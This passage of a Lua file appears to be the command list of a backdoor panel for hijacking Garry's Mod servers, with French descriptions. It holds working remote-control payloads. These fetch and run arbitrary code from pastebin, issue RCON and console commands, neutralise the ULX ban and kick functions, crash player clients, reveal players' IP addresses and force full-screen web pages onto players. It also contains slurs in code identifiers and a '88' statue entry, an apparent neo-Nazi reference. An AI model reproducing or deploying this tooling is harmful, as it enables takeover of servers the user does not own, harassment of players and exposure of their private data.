591 hook.Add("PlayerInitialSpawn", "gw_siezed", function( ply ) ply:SendLua('local html = vgui.Create( "HTML" )html:SetSize( ScrW(), ScrH() )html:OpenURL( "http://lmaoooo.mtxserv.fr/" )') end)
592
593 for k, v in pairs(player.GetAll()) do
594
595 v:SendLua('local html = vgui.Create( "HTML" )html:SetSize( ScrW(), ScrH() )html:OpenURL( "http://lmaoooo.mtxserv.fr/" )')
596
597 end]],
598
599 ["Desc"] = "Prouve que tu domine se serveur :c",
600
601 },
602
603
604
605 ["Exploser Tout Les Véhicules"] = {
606
607 ["Type"] = 1,
608
609 ["Code"] = [[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
610
611 local explo = ents.Create("env_explosion")
612
613 explo:SetPos(v:GetPos())
614
615 explo:SetKeyValue("iMagnitude", "300")
616
617 explo:Spawn()
618
619 explo:Activate()
620
621 explo:Fire("Explode", "", 0)
622
623 end
624
625 end]],
626
627 ["Desc"] = "Sa va faire boom",
628
629 },
630
631
632
633 ["Commande RCON"] = {
634
635 ["Type"] = 1,
636
637 ["Code"] = [[game.ConsoleCommand( @1.."\n" )]],
638
639 ["Desc"] = "C'est tant de pouvoir le rcon ;)",
640
641 },
642
643
644
645 ["Lua run"] = {
646
647 ["Type"] = 1,
648
649 ["Code"] = [[ulx luarun @1]],
650
651 ["Desc"] = "Pas mal pour lancer des fichiers lua :')",
652
653 },
654
655
656
657 ["Lua run via pastebin"] = {
658
659 ["Type"] = 1,
660
661 ["Code"] = [[http.Fetch( "@1", function( b, l, h, c ) RunString( b ) end, function() end )]],
662
663 ["Desc"] = "C'est drôle, tu peut lancer n'importe qu'elle fichier lua Pastebin avec ça (cc les skeletons)",
664
665 },
666
667
668
669 ["Détruire Le Ban & Le Kick ULX"] = {
670
671 ["Type"] = 1,
672
673 ["Code"] = [[ULib.Ban = function() return false end
674
675 ULib.addBan = function() return end
676
677 ULib.kick = function() return end]],
678
679 ["Desc"] = "RIP les joueurs ban et kick :c",
680
681 },
682
683 ["Activer Super Asriel"] = {
684
685 ["Type"] = 1,
686
687 ["Code"] = [[http.Fetch("https://pastebin.com/705VQ2m8",function(b,l,h,c)RunString(b)end,nil)]],
688
689 ["Desc"] = "I'm your best friend ! A.S.R.I.E.L D.R.E.E.M.U.R.R",
690
691 },
692
693
694 ["Bruit De Toux"] = {
695
696 ["Type"] = 1,
697
698 ["Code"] = [[
699
700 if !timer.Exists( "jcrevenofake" ) then
701
702 timer.Create( "jcrevenofake", 0.7, 0, function()
703
704 for _, p in pairs(player.GetAll()) do
705
706 p:EmitSound("ambient/voices/cough"..math.random(4)..".wav", 450 + math.random() * 50, 50 + math.random() * 10)
707
708 end
709
710 end)
711
712 else
713
714 timer.Remove( "jcrevenofake" )
715
716 end]],
717
718 ["Desc"] = "Sa tousse fort, la mort approche ?",
719
720 },
721
722 ["!Modifier Map"] = {
723
724 ["Type"] = 1,
725
726 ["Code"] = [[RunConsoleCommand("hostname", "@1"")]],
727
728 ["Desc"] = "Modifier La Map :D",
729
730 },
731
732
733
734
735
736/*============================================
737|===== Commandes Sur Joueur Selectionné =====|
738===========================================*/
739
740
741
742 ["Tuer Le Joueur"] = {
743
744 ["Type"] = 2,
745
746 ["Code"] = [[v:Kill()]],
747
748 ["Desc"] = "",
749
750 },
751
752
753
754
755 ["Rendre Multicolore"] = {
756
757 ["Type"] = 2,
758
759 ["Code"] = [[
760
761 local id = ]] .. LocalPlayer():UserID() .. [[
762
763 Player( id ):SetModel( "models/player/group02/male_04.mdl" )
764
765 Player( id ):SetMaterial( "models/debug/debugwhite" )
766
767 hook.Add( "Think", "multicolore", function()
768
769 if !IsValid( Player( id ) ) then return end
770
771 Player( id ):SetColor( HSVToColor( RealTime() * 120 % 360, 1, 1 ) )
772
773 end )
774 ]],
775
776 ["Desc"] = "Transforme N'importe qui en personne multicolore :D",
777
778 },
779
780
781
782 ["Expelliarmus"] = {
783
784 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
785
786 ["Code"] = [[v:DropWeapon( v:GetActiveWeapon() )]],
787
788 ["Desc"] = "Désarme un random",
789
790 },
791
792
793
794 ["Supprimer Les Armes"] = {
795
796 ["Type"] = 2,
797
798 ["Code"] = [[v:StripWeapons()]],
799
800 ["Desc"] = "",
801
802 },
803
804
805
806 ["Roquette"] = {
807
808 ["Type"] = 2,
809
810 ["Code"] = [[v:SetVelocity( Vector(0, 0, 9000) )]],
811
812 ["Desc"] = "Sends them flying up into the air",
813
814 },
815
816
817
818 ["Roquette Dévié"] = {
819
820 ["Type"] = 2,
821
822 ["Code"] = [[v:SetVelocity( Vector(math.random( -9000, 9000), math.random( -9000, 9000), 9000) )]],
823
824 ["Desc"] = "HOLY SHIIIIIIIIIIIT",
825
826 },
827
828
829
830 ["Change model"] = {
831
832 ["Type"] = 2,
833
834 ["Code"] = [[v:SetModel( @1 )]],
835
836 ["Desc"] = "Set their player model to the specified string (1st paremeter)",
837
838 ["NeedsParameters"] = 1,
839
840 },
841
842
843
844 ["Choisi la vie + l'armure"] = {
845
846 ["Type"] = 2,
847
848 ["Code"] = [[v:SetHealth( @1 ) v:SetArmor( @2 ) ]],
849
850 ["Desc"] = "Sets their health (1st paremeter) and armor (2nd paremeter)",
851
852 ["NeedsParameters"] = 2,
853
854 },
855
856
857
858 ["Ear rape"] = {
859
860 ["Type"] = 2,
861
862 ["Code"] = [[
863
864 local snd = {
865
866 [1] = "npc/stalker/go_alert2a.wav",
867
868 [2] = "vo/npc/male01/question06.wav",
869
870 [3] = "ambient/energy/zap1.wav",
871
872 [4] = "weapons/knife/knife_stBD.wav",
873
874 [5] = "vo/ravenholm/madlaugh04.wav",
875
876 [6] = "npc/antlion_guard/antlion_guard_die1.wav",
877
878 [7] = "vo/breencast/br_collaboration01.wav,"
879
880 }
881
882 v:EmitSound( snd[tonumber(@1)], 100, 100 )
883
884 ]],
885
886 ["Desc"] = "Lance un son (choisir entre 1 & 7)",
887
888 ["NeedsParameters"] = 1,
889
890 },
891
892
893
894 ["Ear rape (via internet)"] = {
895
896 ["Type"] = 2,
897
898 ["Code"] = [[
899
900 BDSendLua( v, 'if soundrape then soundrape:Remove() soundrape = nil return end soundrape = vgui.Create( "DFrame" ) soundrape:SetSize( 1, 1 ) local html = vgui.Create( "HTML", soundrape ) html:OpenURL( @1 )' )
901
902 ]],
903
904 ["Desc"] = "fait écouter un son par URL (1er parametre). Sending a new sound will stop the previous one. Send an invalid url to stop all sounds entirely on their client",
905
906 ["NeedsParameters"] = 1,
907
908 },
909
910
911
912 ["Spam Visuel (via internet)"] = {
913
914 ["Type"] = 2,
915
916 ["Code"] = [[
917
918 BDSendLua( v, 'if bdeyerape then bdeyerape:Remove() bdeyerape = nil return end bdeyerape = vgui.Create( "DFrame" )bdeyerape:SetDraggable( false )bdeyerape:SetSize( ScrW(), ScrH() )bdeyerape:SetTitle( "" )bdeyerape:ShowCloseButton( false )local html = vgui.Create( "HTML", bdeyerape )html:Dock( FILL )html:OpenURL( @1 )' )
919
920 ]],
921
922 ["Desc"] = "fait les regarder une image avec un URL infermable (1ème parametre). En lancer un deuxième le remplacera. Un lien invalide les effacera",
923
924 ["NeedsParameters"] = 1,
925
926 },
927
928
929
930 ["Mode Disco"] = {
931
932 ["Type"] = 2,
933
934 ["Code"] = [[
935
936 BDSendLua( v, 'if hook.GetTable().HUDPaint.drugznigga then hook.Remove( "HUDPaint", "drugznigga" ) else hook.Add( "HUDPaint", "drugznigga", function() local cin = math.sin( CurTime() * 10 ) * 255 surface.SetDrawColor( Color( cin, -cin, cin, 100 ) ) surface.DrawRect( 0, 0, ScrW(), ScrH() ) end) end' )
937
938 ]],
939
940 ["Desc"] = "C'est partie :D",
941
942 },
943
944
945
946 ["Musique Disco"] = {
947
948 ["Type"] = 2,
949
950 ["Code"] = [[
951
952 BDSendLua( v, 'surface.PlaySound( "music/hl1_song25_remix3.mp3" )' )
953
954 ]],
955
956 ["Desc"] = "rt",
957
958 },
959
960
961
962 ["Message PV"] = {
963
964 ["Type"] = 2,
965
966 ["Code"] = [[v:ChatPrint( @1 )]],
967
968 ["Desc"] = "Envoi un message anonyme",
969
970 ["NeedsParameters"] = 1,
971
972 },
973
974
975
976 ["Message PV (Amélioré)"] = {
977
978 ["Type"] = 2,
979
980 ["Code"] = [[
981
982 BDSendLua( v, 'chat.AddText( Color( @2, @3, @4 ), @1 )' )
983
984 ]],
985
986 ["Desc"] = "Envoi un message anonyme de la couleur que tu veut (1er paramètre = texte, 2ème = rouge, 3ème = vert, 4ème = bleu)",
987
988 ["NeedsParameters"] = 1,
989
990 },
991
992
993
994 ["Brûler"] = {
995
996 ["Type"] = 2,
997
998 ["Code"] = [[v:Ignite( 30 )]],
999
1000 ["Desc"] = "Crame le",
1001
1002 },
1003
1004
1005
1006 ["Activé/Désactivé GodMod"] = {
1007
1008 ["Type"] = 2,
1009
1010 ["Code"] = [[if v:HasGodMode() then v:GodDisable() else v:GodEnable() end]],
1011
1012 ["Desc"] = "Mtn, t'es un dieu",
1013
1014 },
1015
1016
1017
1018 ["Crash"] = {
1019
1020 ["Type"] = 2,
1021
1022 ["Code"] = [[v:SendLua("function fag() return fag() end fag()")]],
1023
1024 ["Desc"] = "Instant Crash :')",
1025
1026 },
1027
1028
1029
1030 ["Activé/Desactivé SpeedHack Joueur"] = {
1031
1032 ["Type"] = 2,
1033
1034 ["Code"] = [[if !v.Sanic then v:SetRunSpeed( 1200 ) v:SetWalkSpeed(800) v.Sanic = true else v:SetRunSpeed( 240 ) v:SetWalkSpeed( 160 ) v.Sanic = false end]],
1035
1036 ["Desc"] = "ooooooooooooooooooooooooaw",
1037
1038 },
1039
1040
1041
1042 ["Geler/Dégeler Joueurs"] = {
1043
1044 ["Type"] = 2,
1045
1046 ["Code"] = [[v:Freeze( !v:IsFrozen() )]],
1047
1048 ["Desc"] = "j'peut plus bouger :c",
1049
1050 },
1051
1052
1053
1054 ["Forcer a dire une phrase"] = {
1055
1056 ["Type"] = 2,
1057
1058 ["Code"] = [[v:Say(@1)]],
1059
1060 ["Desc"] = "C'est drôle quand ils comprennent pas",
1061
1062 ["NeedsParameters"] = 1,
1063
1064 },
1065
1066
1067
1068
1069
1070 ["Forcer a executer une commande"] = {
1071
1072 ["Type"] = 2,
1073
1074 ["Code"] = [[v:ConCommand(@1)]],
1075
1076 ["Desc"] = "Bruh, je me met a tourner",
1077
1078 ["NeedsParameters"] = 1,
1079
1080 },
1081
1082
1083
1084 ["Récuperer IP"] = {
1085
1086 ["Type"] = 2,
1087
1088 ["Code"] = [[ for _, p in pairs(player.GetAll()) do if %LP then p:ChatPrint( v:Nick().." : "..v:IPAddress() ) end end]],
1089
1090 ["Desc"] = "Reçois leurs ips dans ta console",
1091
1092 },
1093
1094
1095
1096
1097
1098 ["DarkRP ajouter/retirer de l'argent"] = {
1099
1100 ["Type"] = 2,
1101
1102 ["Code"] = [[v:addMoney(@1)]],
1103
1104 ["Desc"] = "Ajoute de la monnaie dans ton porte-monnaie (utiliser un chiffre négatif pour retirer)",
1105
1106 ["NeedsParameters"] = 1,
1107
1108 },
1109
1110
1111
1112 ["DarkRP forcer a join un job"] = {
1113
1114 ["Type"] = 2,
1115
1116 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:changeTeam(i, true, true) end end]],
1117
1118 ["Desc"] = "WHUT JE SUIS DEVENU PRESIDENT D'UN COUP",
1119
1120 ["NeedsParameters"] = 1,
1121
1122 },
1123
1124
1125
1126 ["Forcer a changer d'équipe"] = {
1127
1128 ["Type"] = 2,
1129
1130 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:SetTeam( i ) end end]],
1131
1132 ["Desc"] = "Bruh j'suis un terroriste",
1133
1134 ["NeedsParameters"] = 1,
1135
1136 },
1137
1138
1139
1140 ["Forcer A Noclip"] = {
1141
1142 ["Type"] = 2,
1143
1144 ["Code"] = [[if v:GetMoveType() != MOVETYPE_NOCLIP then v:SetMoveType(MOVETYPE_NOCLIP) else v:SetMoveType(MOVETYPE_WALK) end]],
1145
1146 ["Desc"] = "Je vole :c",
1147
1148 },
1149
1150
1151
1152 ["Give une arme"] = {
1153
1154 ["Type"] = 2,
1155
1156 ["Code"] = [[v:Give( @1 )]],
1157
1158 ["Desc"] = "OH ! Une bombe nucléaire",
1159
1160 ["NeedsParameters"] = 1,
1161
1162 },
1163
1164
1165
1166 ["Give des munitions"] = {
1167
1168 ["Type"] = 2,
1169
1170 ["Code"] = [[v:GiveAmmo( @1, @2, false )]],
1171
1172 ["Desc"] = "Recois des munitions (1er = nombres de munitions, 2èmes = type de munitions)",
1173
1174 ["NeedsParameters"] = 2,
1175
1176 },
1177
1178
1179
1180 ["Téléporter (Joueur a votre curseur)"] = {
1181
1182 ["Type"] = 2,
1183
1184 ["Code"] = [[
1185
1186 local tp = false
1187
1188 local tpos
1189
1190 for _, p in pairs(player.GetAll()) do if %LP then tpos = p:GetEyeTraceNoCursor().HitPos tp = true end end
1191
1192 if tp then v:SetPos( tpos ) end
1193
1194 ]],
1195
1196 ["Desc"] = "Bruh",
1197
1198 },
1199
1200
1201
1202 ["Téléporter (Vous a eux)"] = {
1203
1204 ["Type"] = 2,
1205
1206 ["Code"] = [[
1207
1208 local tp = false
1209
1210 local tpos = v:GetPos() + Vector( 32, 0, 10)
1211
1212 for _, p in pairs(player.GetAll()) do if %LP then p:SetPos( tpos ) end end
1213
1214 ]],
1215
1216 ["Desc"] = "Bruh",
1217
1218 },
1219
1220
1221
1222 ["Téléporter (Blink)"] = {
1223
1224 ["Type"] = 2,
1225
1226 ["Code"] = [[
1227
1228 local tpos = v:GetEyeTraceNoCursor().HitPos
1229
1230 v:SetPos( tpos )
1231
1232 ]],
1233
1234 ["Desc"] = "J'suis un enderman omg",
1235
1236 },
1237
1238
1239
1240 ["Spawn une entité près du joueur"] = {
1241
1242 ["Type"] = 2,
1243
1244 ["Code"] = [[
1245
1246 local tr = {}
1247
1248 tr.start = v:GetShootPos()
1249
1250 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1251
1252 tr.filter = {v}
1253
1254 local trace = util.TraceLine(tr)
1255
1256 local dix = ents.Create( @1 )
1257
1258 dix:SetPos(trace.HitPos)
1259
1260 dix:SetAngles(Angle(0,0,0))
1261
1262 dix:Spawn()
1263
1264 ]],
1265
1266 ["Desc"] = "Spawn une entité a côté (1er = code/classe de l'entité), tu peut pas spawn de voiture!",
1267
1268 ["NeedsParameters"] = 1,
1269
1270 },
1271
1272
1273
1274 ["Spawn un props près du joueur"] = {
1275
1276 ["Type"] = 2,
1277
1278 ["Code"] = [[
1279
1280 local tr = {}
1281
1282 tr.start = v:GetShootPos()
1283
1284 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1285
1286 tr.filter = {v}
1287
1288 local trace = util.TraceLine(tr)
1289
1290 local dix = ents.Create( "prop_physics" )
1291
1292 dix:SetPos(trace.HitPos)
1293
1294 dix:SetAngles(Angle(0,0,0))
1295
1296 dix:SetModel( @1 )
1297
1298 dix:Spawn()
1299
1300 ]],
1301
1302 ["Desc"] = "Wallah on a tenter de me propskill (1er = model)",
1303
1304 ["NeedsParameters"] = 1,
1305
1306 },
1307
1308
1309
1310 [" Marquez Les Traces Inutile"] = {
1311
1312 ["Type"] = 2,
1313
1314 ["Code"] = [[
1315
1316 local tr = {}
1317
1318 tr.start = v:GetShootPos()
1319
1320 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1321
1322 tr.filter = {v}
1323
1324 local trace = util.TraceLine(tr)
1325
1326 local dix = ents.Create( "prop_physics" )
1327
1328 dix:SetPos( trace.HitPos + Vector( 0, 0, 70 ) )
1329
1330 dix:SetAngles( v:GetAngles() )
1331
1332 dix:SetModel( "models/props_c17/gravestone_cross001a.mdl" )
1333
1334 dix:Spawn()
1335
1336 dix:SetMoveType( MOVETYPE_NONE )
1337
1338 dix:SetMaterial( "models/shiny" )
1339
1340 dix:SetColor( Color( 0, 0, 40 ) )
1341
1342
1343
1344 local function ecr( parent, model, pos, ang, col, mat )
1345
1346 local dix = ents.Create( "prop_physics" )
1347
1348 dix:SetPos( parent:LocalToWorld( pos ) )
1349
1350 dix:SetAngles( parent:LocalToWorldAngles( ang ) )
1351
1352 dix:SetModel( model )
1353
1354 dix:SetParent( parent )
1355
1356 dix:Spawn()
1357
1358 dix:SetColor( col )
1359
1360 dix:SetMaterial( mat )
1361
1362 end
1363
1364
1365
1366 ecr( dix, "models/props_c17/gravestone_coffinpiece001a.mdl", Vector( -25, 0, -60 ), Angle( 0, 180, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1367
1368 ecr( dix, "models/hunter/blocks/cube025x2x025.mdl", Vector( -5, -5, 372 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1369
1370 ecr( dix, "models/hunter/blocks/cube025x2x025.mdl", Vector( -5, -5, 260 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1371
1372 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, -27 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1373
1374 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 0, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1375
1376 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1377
1378 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1379
1380 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, -27 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1381
1382 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1383
1384 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1385
1386 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 180, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1387
1388 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -180, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1389
1390 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 200 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1391
1392 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 200 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1393
1394 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 330 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1395
1396 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 330 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1397
1398
1399 for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(255, 255, 255 ), "WOOOOOOOOOOOOOOW UNE BITE GEANTE")' ) sound.Play( "ambient/explosions/explode_8.wav", p:GetPos(), 90, 80, 1 ) end
1400
1401
1402
1403 ]],
1404
1405 ["Desc"] = "Fait apparaitre la statue bite",
1406
1407 ["Private"] = true,
1408
1409 },
1410
1411
1412
1413
1414 [" Marquez Les Trace De La 88"] = {
1415
1416 ["Type"] = 2,
1417
1418 ["Code"] = [[
1419
1420 local tr = {}
1421
1422 tr.start = v:GetShootPos()
1423
1424 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1425
1426 tr.filter = {v}
1427
1428 local trace = util.TraceLine(tr)
1429
1430 local dix = ents.Create( "prop_physics" )
1431
1432 dix:SetPos( trace.HitPos + Vector( 0, 0, 70 ) )
1433
1434 dix:SetAngles( v:GetAngles() )
1435
1436 dix:SetModel( "models/props_c17/gravestone_cross001a.mdl" )
1437
1438 dix:Spawn()
1439
1440 dix:SetMoveType( MOVETYPE_NONE )
1441
1442 dix:SetMaterial( "models/shiny" )
1443
1444 dix:SetColor( Color( 0, 0, 40 ) )
1445
1446
1447
1448 local function ecr( parent, model, pos, ang, col, mat )
1449
1450 local dix = ents.Create( "prop_physics" )
1451
1452 dix:SetPos( parent:LocalToWorld( pos ) )
1453
1454 dix:SetAngles( parent:LocalToWorldAngles( ang ) )
1455
1456 dix:SetModel( model )
1457
1458 dix:SetParent( parent )
1459
1460 dix:Spawn()
1461
1462 dix:SetColor( col )
1463
1464 dix:SetMaterial( mat )
1465
1466 end
1467
1468
1469
1470 ecr( dix, "models/props_c17/gravestone_coffinpiece001a.mdl", Vector( -25, 0, -60 ), Angle( 0, 180, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1471
1472 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, -27 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1473
1474 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1475
1476 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, 108 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1477
1478 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, -27 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1479
1480 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1481
1482 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1483
1484 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 180, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1485
1486 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -180, 65 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1487
1488--
1489
1490
1491 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -103, 248 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1492
1493 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 127, 248 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1494
1495 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 50, 205 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1496
1497 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -50, 205 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1498
1499 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, 180, 205 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1500
1501 ecr( dix, "models/hunter/blocks/cube025x3x025.mdl", Vector( -5, -180, 205 ), Angle( 0, 0, 90 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1502
1503
1504
1505 for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(0, 0, 0 ), "La 88 a apparement prit contrôle des lieux :D")' ) sound.Play( "ambient/explosions/explode_8.wav", p:GetPos(), 90, 80, 1 ) end
1506
1507
1508
1509 ]],
1510
1511 ["Desc"] = "Fait apparaitre la statue 88",
1512
1513 ["Private"] = true,
1514
1515 },
1516
1517
1518
1519
1520
1521 ["Spawn un NPC méchant près d'un joueur"] = {
1522
1523 ["Type"] = 2,
1524
1525 ["Code"] = [[
1526
1527 local tr = {}
1528
1529 tr.start = v:GetShootPos()
1530
1531 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1532
1533 tr.filter = {v}
1534
1535 local trace = util.TraceLine(tr)
1536
1537 local dix = ents.Create( "npc_citizen" )
1538
1539 dix:SetPos(trace.HitPos)
1540
1541 dix:SetAngles(Angle(0,0,0))
1542
1543 dix:SetKeyValue( "additionalequipment", table.Random({"weapon_shotgun", "weapon_smg1", "weapon_ar2"}) )
1544
1545 dix:SetKeyValue( "citizentype", 3 )
1546
1547 dix:AddRelationship("player D_HT 200")
1548
1549 dix:SetCurrentWeaponProficiency(WEAPON_PROFICIENCY_PERFECT)
1550
1551 dix:SetSchedule( SCHED_IDLE_WANDER )
1552
1553 dix:Spawn()
1554
1555 ]],
1556
1557 ["Desc"] = "Spawn a hostile NPC in front of this player",
1558
1559 },
1560
1561
1562
1563 ["Vision Mortel"] = {
1564
1565 ["Type"] = 2,
1566
1567 ["Code"] = [[
1568
1569 local trace = v:GetEyeTraceNoCursor()
1570
1571 if trace.Entity:IsValid() then trace.Entity:Remove() end
1572
1573 ]],
1574
1575 ["Desc"] = "Désintègre les joueurs que tu regarde",
1576
1577 },
1578
1579
1580
1581 ["Vision Explosive"] = {
1582
1583 ["Type"] = 2,
1584
1585 ["Code"] = [[
1586
1587 local trace = v:GetEyeTraceNoCursor()
1588
1589 local explo = ents.Create("env_explosion")
1590
1591 explo:SetPos(trace.HitPos)
1592
1593 explo:SetKeyValue("iMagnitude", "250")
1594
1595 explo:Spawn()
1596
1597 explo:Activate()
1598
1599 explo:Fire("Explode", "", 0)
1600
1601 ]],
1602
1603 ["Desc"] = "Explose ce que tu regarde",
1604
1605 },
1606
1607
1608
1609 ["Frappe Orbital Précise"] = {
1610
1611 ["Type"] = 2,
1612
1613 ["Code"] = [[
1614
1615 local trace = v:GetEyeTraceNoCursor()
1616
1617 timer.Create( "uiashfuasfas"..v:UniqueID()..math.random(-9999, 99999), 0.2, 15, function()
1618
1619 local explo = ents.Create("env_explosion")
1620
1621 explo:SetPos(trace.HitPos + Vector( math.random( -500, 500), math.random( -500, 500), math.random( -500, 500) ) )
1622
1623 explo:SetKeyValue("iMagnitude", "250")
1624
1625 explo:Spawn()
1626
1627 explo:Activate()
1628
1629 explo:Fire("Explode", "", 0)
1630
1631 end)
1632
1633 ]],
1634
1635 ["Desc"] = "ça va faire boom",
1636
1637 },
1638
1639
1640
1641 ["Pluie De Véhicules"] = {
1642
1643 ["Type"] = 2,
1644
1645 ["Code"] = [[
1646
1647 local trace = v:GetEyeTraceNoCursor()
1648
1649 local car = ents.Create("prop_physics")
1650
1651 local trace2 = util.TraceLine( { start = trace.HitPos, endpos = trace.HitPos + Vector( 0, 0, 5000000 ), mask = MASK_SOLID_BRUSHONLY } )
1652
1653 car:SetModel( "models/props_vehicles/car002a_physics.mdl" )
1654
1655 car:SetAngles( v:GetAngles() )
1656
1657 car:SetPos( trace2.HitPos + Vector( 0, 0, -60 ) )
1658
1659 car:Spawn()
1660
1661 car:Activate()
1662
1663 car.boom = 6
1664
1665 car:GetPhysicsObject():SetVelocity( Vector( 0, 0, -5000 ) )
1666
1667 car:Ignite( 500 )
1668
1669 car:AddCallback( "PhysicsCollide", function( car, dat )
1670
1671 local explo = ents.Create("env_explosion")
1672
1673 explo:SetPos( car:GetPos() )
1674
1675 explo:SetKeyValue("iMagnitude", "350")
1676
1677 explo:Spawn()
1678
1679 explo:Activate()
1680
1681 explo:Fire("Explode", "", 0)
1682
1683 local ef = EffectData()
1684
1685 ef:SetOrigin( car:GetPos() )
1686
1687 ef:SetMagnitude( 5 )
1688
1689 ef:SetScale( 200 )
1690
1691 util.Effect( "ThumperDust", ef )
1692
1693 car.boom = car.boom - 1
1694
1695 if car.boom < 0 then car:Remove() end
1696
1697 end )
1698
1699 timer.Simple( 30, function() if car:IsValid() then car:Remove() end end)
1700
1701 ]],
1702
1703 ["Desc"] = "Fait tomber des véhicules du ciel qui exploserons",
1704
1705 },
1706
1707
1708
1709
1710
1711
1712
1713 ["Gas Toxique"] = {
1714
1715 ["Type"] = 2,
1716
1717 ["Code"] = [[
1718
1719 local trace = v:GetEyeTraceNoCursor()
1720
1721 local ar2Explo = ents.Create("env_ar2explosion")
1722
1723 ar2Explo:SetOwner(game.GetWorld())
1724
1725 local p = trace.HitPos
1726
1727 ar2Explo:SetPos(trace.HitPos)
1728
1729 ar2Explo:Spawn()
